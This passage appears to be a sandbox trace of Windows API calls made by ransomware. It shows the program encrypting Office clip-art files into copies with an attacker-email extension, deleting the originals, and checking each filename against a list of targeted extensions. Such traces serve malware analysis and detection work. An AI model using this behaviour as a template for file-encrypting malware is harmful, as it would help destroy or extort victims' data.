lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.691] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.691] SetEndOfFile (hFile=0x550) returned 1 [0270.691] CloseHandle (hObject=0x550) returned 1 [0270.691] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.691] SetEndOfFile (hFile=0x540) returned 1 [0270.695] CloseHandle (hObject=0x540) returned 1 [0270.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0270.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.696] lstrlenW (lpString=".doc") returned 4 [0270.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.696] lstrlenW (lpString=".docx") returned 5 [0270.697] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0270.697] lstrlenW (lpString=".pdf") returned 4 [0270.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString=".xls") returned 4 [0270.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.697] lstrlenW (lpString=".xlsx") returned 5 [0270.697] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0270.697] lstrlenW (lpString=".ppt") returned 4 [0270.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.697] lstrlenW (lpString=".zip") returned 4 [0270.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.697] lstrlenW (lpString=".rar") returned 4 [0270.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString=".bz2") returned 4 [0270.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString=".7z") returned 3 [0270.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.697] lstrlenW (lpString=".dbf") returned 4 [0270.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.697] lstrlenW (lpString=".1cd") returned 4 [0270.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.698] lstrlenW (lpString=".jpg") returned 4 [0270.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.698] lstrlenW (lpString=".doc") returned 4 [0270.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".docx") returned 5 [0270.698] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0270.698] lstrlenW (lpString=".pdf") returned 4 [0270.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".xls") returned 4 [0270.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.698] lstrlenW (lpString=".xlsx") returned 5 [0270.698] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0270.698] lstrlenW (lpString=".ppt") returned 4 [0270.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.698] lstrlenW (lpString=".zip") returned 4 [0270.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.698] lstrlenW (lpString=".rar") returned 4 [0270.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".bz2") returned 4 [0270.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.698] lstrlenW (lpString=".7z") returned 3 [0270.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.699] lstrlenW (lpString=".dbf") returned 4 [0270.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.699] lstrlenW (lpString=".1cd") returned 4 [0270.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 68 [0270.699] lstrlenW (lpString=".jpg") returned 4 [0270.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.699] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.699] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0270.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.723] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2262) returned 1 [0270.723] CloseHandle (hObject=0x540) returned 1 [0270.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0270.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.724] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.724] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.725] GetLastError () returned 0x0 [0270.725] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0270.742] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0270.744] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.744] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.744] SetEndOfFile (hFile=0x550) returned 1 [0270.744] CloseHandle (hObject=0x550) returned 1 [0270.744] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.744] SetEndOfFile (hFile=0x540) returned 1 [0270.748] CloseHandle (hObject=0x540) returned 1 [0270.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0270.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.749] lstrlenW (lpString=".doc") returned 4 [0270.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.749] lstrlenW (lpString=".docx") returned 5 [0270.749] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0270.750] lstrlenW (lpString=".pdf") returned 4 [0270.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString=".xls") returned 4 [0270.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.750] lstrlenW (lpString=".xlsx") returned 5 [0270.750] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0270.750] lstrlenW (lpString=".ppt") returned 4 [0270.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.750] lstrlenW (lpString=".zip") returned 4 [0270.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.750] lstrlenW (lpString=".rar") returned 4 [0270.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString=".bz2") returned 4 [0270.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString=".7z") returned 3 [0270.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.750] lstrlenW (lpString=".dbf") returned 4 [0270.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.750] lstrlenW (lpString=".1cd") returned 4 [0270.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.750] lstrlenW (lpString=".jpg") returned 4 [0270.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.751] lstrlenW (lpString=".doc") returned 4 [0270.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString=".docx") returned 5 [0270.751] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0270.751] lstrlenW (lpString=".pdf") returned 4 [0270.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString=".xls") returned 4 [0270.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.751] lstrlenW (lpString=".xlsx") returned 5 [0270.751] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0270.751] lstrlenW (lpString=".ppt") returned 4 [0270.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.751] lstrlenW (lpString=".zip") returned 4 [0270.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.751] lstrlenW (lpString=".rar") returned 4 [0270.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString=".bz2") returned 4 [0270.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.751] lstrlenW (lpString=".7z") returned 3 [0270.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.752] lstrlenW (lpString=".dbf") returned 4 [0270.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.752] lstrlenW (lpString=".1cd") returned 4 [0270.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0270.752] lstrlenW (lpString=".jpg") returned 4 [0270.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.752] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.752] lstrlenW (lpString="CLIP.WMF") returned 8 [0270.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.754] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2262) returned 1 [0270.754] CloseHandle (hObject=0x540) returned 1 [0270.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0270.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.755] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.755] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.756] GetLastError () returned 0x0 [0270.756] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0270.795] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0270.797] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.797] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xe4, lpOverlapped=0x0) returned 1 [0270.797] SetEndOfFile (hFile=0x550) returned 1 [0271.333] CloseHandle (hObject=0x550) returned 1 [0271.333] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.333] SetEndOfFile (hFile=0x540) returned 1 [0271.336] CloseHandle (hObject=0x540) returned 1 [0271.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.337] lstrlenW (lpString=".doc") returned 4 [0271.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.337] lstrlenW (lpString=".docx") returned 5 [0271.337] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0271.337] lstrlenW (lpString=".pdf") returned 4 [0271.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.337] lstrlenW (lpString=".xls") returned 4 [0271.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.338] lstrlenW (lpString=".xlsx") returned 5 [0271.338] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0271.338] lstrlenW (lpString=".ppt") returned 4 [0271.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString=".zip") returned 4 [0271.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.338] lstrlenW (lpString=".rar") returned 4 [0271.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString=".bz2") returned 4 [0271.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString=".7z") returned 3 [0271.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString=".dbf") returned 4 [0271.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString=".1cd") returned 4 [0271.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString=".jpg") returned 4 [0271.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.338] lstrlenW (lpString=".doc") returned 4 [0271.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString=".docx") returned 5 [0271.339] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0271.339] lstrlenW (lpString=".pdf") returned 4 [0271.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString=".xls") returned 4 [0271.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.339] lstrlenW (lpString=".xlsx") returned 5 [0271.339] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0271.339] lstrlenW (lpString=".ppt") returned 4 [0271.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.339] lstrlenW (lpString=".zip") returned 4 [0271.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.339] lstrlenW (lpString=".rar") returned 4 [0271.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString=".bz2") returned 4 [0271.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString=".7z") returned 3 [0271.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.339] lstrlenW (lpString=".dbf") returned 4 [0271.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.339] lstrlenW (lpString=".1cd") returned 4 [0271.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0271.340] lstrlenW (lpString=".jpg") returned 4 [0271.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.340] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.340] lstrlenW (lpString="DD00407_.WMF") returned 12 [0271.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0271.342] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7828) returned 1 [0271.342] CloseHandle (hObject=0x540) returned 1 [0271.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0271.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0271.343] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.343] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0271.344] GetLastError () returned 0x0 [0271.344] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0271.367] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0271.367] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.368] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.368] SetEndOfFile 